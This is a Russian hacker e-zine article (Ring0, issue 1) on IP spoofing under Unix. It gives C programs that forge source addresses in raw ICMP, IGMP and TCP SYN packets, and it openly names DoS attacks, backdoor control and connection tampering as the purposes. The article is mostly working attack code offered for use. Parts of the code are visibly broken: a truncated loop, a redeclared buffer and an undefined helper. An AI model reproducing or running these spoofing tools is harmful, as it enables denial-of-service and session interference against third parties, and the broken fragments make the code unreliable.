/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                           IP Spoofing под unix

                                                            by Xen/HangUP

  С  понятием  спуфинга,  надеюсь,  знакомы  все. Если под win9x сие дело
 реализовывалось,  мягко говоря, через задницу (в w2k ситуация улучшилась
 лишь слегка), то под UNIX-системами работать с пакетами на низком уровне
 одно удовольствие :)
  Зачем  это  может  потребоваться?  Для проведения DoS-атаки, управления
 бэкдором,   отсылки   анонимной   почты,   вмешательства  в  соединение,
 проходящее через сетевой интерфейс вашей машины... Вариантов море.
  Рассмотрим простейший пример отсылки анонимных ICMP-пакетов.

#include < netdb.h >
#include < netinet/ip_icmp.h >

/* Стандартный резолв */

int resolve(const char *name, unsigned int port,
            struct sockaddr_in *addr) {

   struct hostent *host;

   memset(addr, 0, sizeof(struct sockaddr_in));

   addr->sin_family = AF_INET;
   addr->sin_addr.s_addr = inet_addr(name);

   if (addr->sin_addr.s_addr == -1) {

      if (( host = gethostbyname(name) ) == NULL )  {
         printf("%s resolve error\n", name);
         return(-1);
      }

      addr->sin_family = host->h_addrtype;

      memcpy((caddr_t)&addr->sin_addr, host->h_addr, host->h_length);

   }

   addr->sin_port = htons(port);

   return(0);

}


/* Не менее стандартный чексам */

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{

    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;

    u_short answer = 0;



    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;

    return(answer);
}

/* Собственно, формирование пакета и скармливание его сокету */

int fuckit(int socket,
            unsigned long spoof_addr,
            struct sockaddr_in *dest_addr) {

   unsigned char  *packet;
   struct iphdr   *ip;
   struct icmphdr *icmp;

   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                    sizeof(struct icmphdr) + 8);

   ip = (struct iphdr *)packet;

   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

   memset(ip, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

   ip->ihl      = 5;
   ip->version  = 4;
   ip->id       = htons(1234);
   ip->frag_off |= htons(0x2000);
   ip->ttl      = 30;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr    = spoof_addr;
   ip->daddr    = dest_addr->sin_addr.s_addr;
   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   icmp->type              = 12;
   icmp->code              = 0;
   icmp->checksum          = in_cksum(icmp, sizeof(struct icmphdr) + 1);

   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct icmphdr) + 1,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }

   free(packet);
   return(0);
}



/* Основная функция. Открываем raw-сокет, резолвим адреса и
   вызываем fuckit для работы с сокетом */



int main(int argc, char **argv) {

   struct sockaddr_in dest_addr;
   unsigned int i,sock;
   unsigned long src_addr;

   if (argc != 4) {
      printf("use it this way: src destination number_of_packets\n");
      return(-1);
   }


   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      printf("raw socket not opened\n");
      return(-1);
   }

   if (resolve(argv[1],0,&dest_addr) == -1) {
      printf("source resolve error\n");
      return(-1);
   }

   src_addr = dest_addr.sin_addr.s_addr;

   if (resolve(argv[2], 0, &dest_addr) == -1) {
      printf("destination resolve error\n");
      return(-1);
   }

   printf("sending packets\n");

   for (i = 0; i


  Возможно,  вам потребуется подключить дополнительные хедеры, у меня все
 прошло и так.

  За  комментариями о параметрах пакетов смотрите соответствующие RFC или
 .h .

  IGMP можно отсылать так:

int send_igmp(int socket,
                 unsigned long spoof_addr,
                 struct sockaddr_in *dest_addr) {

   unsigned char  *packet;
   struct iphdr   *ip;
   struct igmphdr *igmp;

   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                    sizeof(struct igmphdr) + 8);

   ip = (struct iphdr *)packet;
   igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));

   memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8);

   ip->ihl      = 5;
   ip->version  = 4;
   ip->id       = htons(34717);
   ip->frag_off = htons(0x2000);
   ip->ttl      = 255;
   ip->protocol = IPPROTO_IGMP;
   ip->saddr    = spoof_addr;
   ip->daddr    = dest_addr->sin_addr.s_addr;
   ip->check    = in_cksum(ip, sizeof(struct iphdr));

   igmp->type              = 8;
   igmp->code              = 0;

   if (sendto(socket,
              packet,
              sizeof(struct iphdr) +
              sizeof(struct igmphdr) + 1,0,
              (struct sockaddr *)dest_addr,
              sizeof(struct sockaddr)) == -1) { return(-1); }

   free(packet);

   return(0);
}


  А вот так или примерно так ;) работают с TCP:


#define _BSD_SOURCE


#include < stdio.h >
#include < stdlib.h >
#include < unistd.h >
#include < string.h >
#include < netdb.h >
#include < net/if.h >
#include < netinet/in.h >
#include < netinet/ip.h >
#include < netinet/tcp.h >
#include < sys/ioctl.h >
#include < sys/types.h >
#include < sys/socket.h >
#include < arpa/inet.h >

/* Влом разбираться с полными заголовками... */

struct tmp {
        u_long saddr;
        u_long daddr;
        u_char zero;
        u_char protocol;
        u_short length;
};

/* skipped some usual stuff... */

/* Отсылка пакета. А вы о чем подумали? :) */

int sendpack(int s, u_long srcaddr, u_short srcport, u_long dstaddr,
             u_short dstport,u_short th_flags,
             u_char *packet,u_long length)
{
        u_char packet[sizeof(struct ip) + sizeof(struct tmp) +
                            sizeof(struct tcphdr)];

        struct sockaddr_in fuck_addr;

        struct in_addr srcinaddr,dstinaddr;

        struct ip *ip = (struct ip *) packet;

        struct tmp *tmp = (struct tmp *) (packet + sizeof(struct ip));

        struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)

                                + sizeof(struct tmp));

        bzero(packet, sizeof(packet));

        bzero(&fuck_addr,sizeof(fuck_addr));


        srcinaddr.s_addr = srcaddr;

        dstinaddr.s_addr = dstaddr;

        tmp->saddr = srcaddr;
        tmp->daddr = dstaddr;
        tmp->zero = 0;
        tmp->protocol=IPPROTO_TCP;
        tmp->length = htons(sizeof (struct tcphdr));

        ip->ip_v = 4;
        ip->ip_hl = 5;
        ip->ip_id = 1234;
        ip->ip_src = srcinaddr;
        ip->ip_dst = dstinaddr;
        ip->ip_p = IPPROTO_TCP;
        ip->ip_ttl = 40;
        ip->ip_off = 0;
        ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + length;

        tcp->th_sport = htons(srcport);
        tcp->th_dport = htons(dstport);
        tcp->th_seq = htonl(rand());
        tcp->th_ack = htonl(rand());
        tcp->th_off=5;
        tcp->th_flags = th_flags;
        tcp->th_urp = 0;
        tcp->th_sum = in_cksum((u_short *) tmp,

                                        sizeof(struct tmp) +

                                         sizeof(struct tcphdr));

        bcopy(tcp,tmp,sizeof(struct tcphdr));

        fuck_addr.sin_family=AF_INET;
        fuck_addr.sin_addr.s_addr=dstaddr;

        sendto(s,packet,sizeof(struct ip) +

        sizeof(struct tcphdr) + length, 0,
         (struct sockaddr *) &fuck_addr,sizeof(fuck_addr));

        return 0;
}

void    main(argc,argv)

        int argc;
        char **argv;
{

        int rawsocket, rd, rsize;

        int one=1;

        u_char buf[1024];

        struct sockaddr_in raddr;

        struct ifreq ifr;

        struct in_addr srcip, dstip;

        u_short srcport, dstport;

        if (argc!=5) printf("use: src_ip src_port dest_ip dest_port");

        srcip.s_addr        =        resolve_name(argv[1]);
        srcport                =        atoi(argv[2]);
        dstip.s_addr        =        resolve_name(argv[3]);
        dstport                =        atoi(argv[4]);


        if ((rawsocket=socket(PF_INET, SOCK_RAW, IPPROTO_ICMP))<0) {
                perror("raw socket error");
                 exit(1);
        }


/* Говорим ядру, что сами займемся формированием IP-пакетов */


        if (setsockopt(rawsocket, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one))<0) {
                perror("setsockopt error");
                close(rawsocket);
                exit(1);
        }



printf("sending from source ip %s port %i ", inet_ntoa(srcip), srcport);
printf("to destination ip %s port %i\n", inet_ntoa(dstip), dstport);


/* Поставлена отсылка SYN-пакета. А кто мешает поиграться с FIN/RST ? */

sendpack(rawsocket, srcip.s_addr, srcport,
         dstip.s_addr, dstport, TH_SYN, NULL, 0);

close(rawsocket);

}


  Надеюсь,  я  вас  не  очень утомил :) Приведены, разумеется, простейшие
 примеры.  Для  серьезной  работы  не  следует также забывать о пэйлоаде,
 правильности SEQ/ACK, враждебно настроенных роутерах и прочих вещах...